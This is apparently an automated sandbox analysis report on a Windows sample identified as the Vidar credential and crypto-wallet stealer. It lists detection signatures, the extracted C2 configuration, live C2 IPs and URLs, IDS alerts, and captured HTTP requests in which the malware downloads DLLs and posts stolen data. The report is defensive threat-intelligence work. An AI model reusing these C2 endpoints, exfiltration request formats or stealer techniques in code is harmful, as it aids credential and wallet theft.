Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1501386
MD5: 2f5226b4116ce79afb6dcb32fa647954
SHA1: 15f395c9a4a894a660d318a6779094d311f0a1f7
SHA256: 8febc589fc4de7b009d3e406fddba66e389d5544bc5fad44d03f712ebf6c2bfa
Tags: exe
Infos:

Detection

Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops PE files with a suspicious file extension
Found many strings related to Crypto-Wallets (likely being stolen)
Found stalling execution ending in API Sleep call
Machine Learning detection for sample
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
OS version to string mapping found (often used in BOTs)
One or more processes crash
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://steamcommunity.com/profiles/76561199761128941 Avira URL Cloud: Label: malware
Source: https://94.130.188.148/nss3.dll Avira URL Cloud: Label: malware
Source: https://t.me/iyigunl Avira URL Cloud: Label: malware
Source: https://94.130.188.148/vcruntime140.dllCz Avira URL Cloud: Label: malware
Source: https://94.130.188.148/sqlr.dll Avira URL Cloud: Label: malware
Source: https://94.130.188.148/ Avira URL Cloud: Label: malware
Source: https://94.130.188.148/vcruntime140.dll Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199761128941/badges Avira URL Cloud: Label: malware
Source: https://94.130.188.148/freebl3.dll Avira URL Cloud: Label: malware
Source: https://94.130.188.148/softokn3.dlle Avira URL Cloud: Label: malware
Source: https://94.130.188.148/mozglue.dll Avira URL Cloud: Label: malware
Source: https://94.130.188.148/softokn3.dll Avira URL Cloud: Label: malware
Source: https://94.130.188.148/nss3.dllKEBKJD-journal Avira URL Cloud: Label: malware
Source: https://94.130.188.148 Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199761128941/inventory/ Avira URL Cloud: Label: malware
Source: https://94.130.188.148/mozglue.dllq Avira URL Cloud: Label: malware
Source: https://94.130.188.148/sqlr.dll1 Avira URL Cloud: Label: malware
Source: https://94.130.188.148/msvcp140.dll Avira URL Cloud: Label: malware
Source: https://94.130.188.148/msvcp140.dllI Avira URL Cloud: Label: malware
Found malware configuration
Source: 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199761128941"], "Botnet": "283e465e3e8feb6cb806690b98c9bf31"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 86.2% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.5:59937 version: TLS 1.2
Source: unknown HTTPS traffic detected: 94.130.188.148:443 -> 192.168.2.5:59938 version: TLS 1.2
Source: file.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: freebl3.pdb source: Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source: Binary string: mozglue.pdbP source: Tenant.pif, 0000000B.00000002.4097408823.000000006C69D000.00000002.00000001.01000000.00000009.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source: Binary string: freebl3.pdbp source: Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source: Binary string: nss3.pdb@ source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr
Source: Binary string: softokn3.pdb@ source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: Tenant.pif, 0000000B.00000002.4090409721.000000002B265000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: Tenant.pif, 0000000B.00000002.4085470552.000000001F389000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.11.dr
Source: Binary string: nss3.pdb source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: Tenant.pif, 0000000B.00000002.4097408823.000000006C69D000.00000002.00000001.01000000.00000009.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source: Binary string: softokn3.pdb source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004062D5 FindFirstFileW,FindClose, 0_2_004062D5
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00402E18 FindFirstFileW, 0_2_00402E18
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B04005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 11_2_00B04005
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 11_2_00B0C2FF
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0494A GetFileAttributesW,FindFirstFileW,FindClose, 11_2_00B0494A
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 11_2_00B0CD9F
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0CD14 FindFirstFileW,FindClose, 11_2_00B0CD14
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 11_2_00B0F5D8
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 11_2_00B0F735
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 11_2_00B0FA36
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B03CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 11_2_00B03CE2
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\271973\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\271973 Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:59961 -> 95.164.119.162:80
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:59942 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.188.148:443 -> 192.168.2.5:59942
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.188.148:443 -> 192.168.2.5:59941
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199761128941
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199761128941 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 95.164.119.162 95.164.119.162
Source: Joe Sandbox View IP Address: 23.197.127.21 23.197.127.21
Source: Joe Sandbox View IP Address: 94.130.188.148 94.130.188.148
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA
Source: Joe Sandbox View ASN Name: AKAMAI-ASN1EU AKAMAI-ASN1EU
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59941 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59944 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59940 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59938 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59942 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59943 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59939 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59946 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59945 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59948 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59947 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59949 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59950 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59951 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59952 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59953 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59954 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59958 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59955 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59959 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59957 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59956 -> 94.130.188.148:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:59960 -> 94.130.188.148:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 254Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 6797Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlr.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 114253Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: stadiatechnologies.comContent-Length: 3205Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: unknown TCP traffic detected without corresponding DNS query: 94.130.188.148
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B129BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile, 11_2_00B129BA
Source: global traffic HTTP traffic detected: GET /profiles/76561199761128941 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlr.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
